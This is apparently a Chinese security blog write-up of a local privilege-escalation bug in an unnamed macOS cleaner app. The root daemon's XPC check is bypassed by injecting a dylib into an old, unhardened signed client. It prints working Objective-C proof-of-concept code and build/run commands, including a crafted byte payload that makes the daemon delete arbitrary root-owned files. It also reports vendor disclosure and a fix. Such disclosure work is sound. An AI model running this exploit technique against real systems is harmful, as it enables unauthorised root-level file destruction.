MacOS客户端软件中经常出现开发者使用XPC没有正确进行验证导致的本地提权漏洞。其实这个漏洞也是无意发现的,因为自己本来也在用这个软件,所以顺手就审计了一下。
首先这个软件是一个垃圾清理软件,注意到后台有一个root权限运行的daemon进程,那么我们直接IDA反编译,找到shouldAcceptNewConnection函数。
开发者还是有一定安全意识的,似乎这里看起来没有什么问题,用codesign检查了程序的签名,所有可执行文件flags=0x10000,无法进行dylib注入。官网上下载链接是www.xxxx.com/xxx_4.4.0.dmg
,我直接把下载链接改成www.xxxx.com/xxx_1.1.0.dmg
,下载到了一个非常老的版本,在这个版本中找到了一个flags=0x0的可执行文件,也就是说我们可以dylib注入到这个版本的可执行文件然后与daemon进程通信,这样就绕过了验证,可以调用daemon进程导出的函数。
class-dump一下:
我们先来试试能不能调用导出的buildXPCConnectChannel函数,因为这个函数没有参数,比较简单。在IDA中可以看到该函数会打印一个log:
代码大概是下面这样的:
#import <Foundation/Foundation.h>
static NSString* kXPCHelperMachServiceName = @"xxx";
@protocol xxxDaemonXPCProtocol <NSObject>
- (void)sendDataToDaemon:(NSData *)arg1 withReply:(void (^)(NSData *))arg2;
- (void)buildXPCConnectChannel;
@end
__attribute__((constructor))
static void customConstructor(int argc, const char **argv)
{
NSString* _serviceName = kXPCHelperMachServiceName;
NSLog(@"test");
NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
[_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(xxxDaemonXPCProtocol)]];
[_agentConnection resume];
[_agentConnection.remoteObjectProxy buildXPCConnectChannel];
NSLog(@"Done!");
return;
}
编译:
gcc -dynamiclib -framework Foundation poc.m -o poc.dylib
运行:
DYLD_INSERT_LIBRARIES=poc.dylib /Users/hjy/Downloads/xxx
看一下系统日志:
接下来我们想要证明这个漏洞是有实际危害的,通过前面class-dump的结果可以知道还有一个sendDataToDaemon的导出函数,在IDA中看到这个函数调用了cmdDispather函数:
在cmdDispather函数中基本上就可以用root权限做任何事情了:
为了省事,我决定编写一个能够删除任意文件的POC。我可以通过调试程序下断点的方法去弄清楚这里的参数是什么,因为一开始就说了这是一个垃圾清理软件,当我用垃圾清理或者程序删除之类的功能去删除root用户文件的时候前台进程是没有权限删除的,它肯定是调用sendDataToDaemon函数把消息发给daemon进程让daemon进程去删的,所以调试程序触发断点很方便。
最后,我大概搞清楚了这里参数是怎么组成的:首先有4个byte表示总长度,接下来有几个含义未知但是不会变的byte,然后又有4个byte表示剩余部分的长度,接下来是当前用户名和要删除的文件名(ASCII),最后又有几个含义未知但是不会变的byte。
成功编写出的删除任意文件的POC大概是下面这样的,这个POC能够使得普通用户houjingyi1996删除root用户文件/opt/cisco/anyconnect/ACManifestVPN.xml。
#import <mach-o/dyld.h>
#import <Foundation/Foundation.h>
static NSString* kXPCHelperMachServiceName = @"xxx";
@protocol xxxDaemonXPCProtocol <NSObject>
- (void)sendDataToDaemon:(NSData *)arg1 withReply:(void (^)(NSData *))arg2;
- (void)buildXPCConnectChannel;
@end
__attribute__((constructor))
static void customConstructor(int argc, const char **argv)
{
NSString* _serviceName = kXPCHelperMachServiceName;
Byte byte[] = {0x4d, 0x00, 0x00, 0x00, 0x46, 0x1f, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, \
0x36, 0x00, 0x00, 0x00, 0x68, 0x6f, 0x75, 0x6a, 0x69, 0x6e, 0x67, 0x79, 0x69, 0x31, 0x39, 0x39, \
0x36, 0x00, 0x2f, 0x6f, 0x70, 0x74, 0x2f, 0x63, 0x69, 0x73, 0x63, 0x6f, 0x2f, 0x61, 0x6e, 0x79, \
0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x2f, 0x41, 0x43, 0x4d, 0x61, 0x6e, 0x69, 0x66, 0x65, \
0x73, 0x74, 0x56, 0x50, 0x4e, 0x2e, 0x78, 0x6d, 0x6c, 0x00, 0x00, 0x00, 0x01};
//0x4d, 0x00, 0x00, 0x00 总长度
//0x46, 0x1f, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00 含义未知
//0x36, 0x00, 0x00, 0x00 应该是剩余部分的长度(不算最后的0x00, 0x00和0x01)
//0x68, 0x6f, 0x75, 0x6a, 0x69, 0x6e, 0x67, 0x79, 0x69, 0x31, 0x39, 0x39, 0x36 用户名(ASCII)
//剩下的部分是文件名, 这里是/opt/cisco/anyconnect/ACManifestVPN.xml(ASCII)
//0x00, 0x00, 0x01 最后这三个字节,含义未知
NSData *arg1 = [[NSData alloc]initWithBytes:byte length:77];
NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
[_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(xxxDaemonXPCProtocol)]];
[_agentConnection resume];
[_agentConnection.remoteObjectProxy buildXPCConnectChannel];
[[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
(void)error;
NSLog(@"Failure");
}]sendDataToDaemon:arg1 withReply:^(NSData * err)
{
NSLog(@"Success");
}];
NSLog(@"Done!");
return;
}
我向厂商提交了POC和演示视频之后厂商很快确认并修复了漏洞。修复方法也很简单,再检查一下程序的版本号就可以了。
最后
1.编写的程序如果需要在高权限下运行或者导出了危险的接口,必须经过仔细的审计。
2.和windows系统上的dll注入一样,厂商往往会不太注意dylib注入这样的问题,然而在一些场景下dll/dylib注入可能会导致非常严重的后果。
发表评论
您还未登录,请先登录。
登录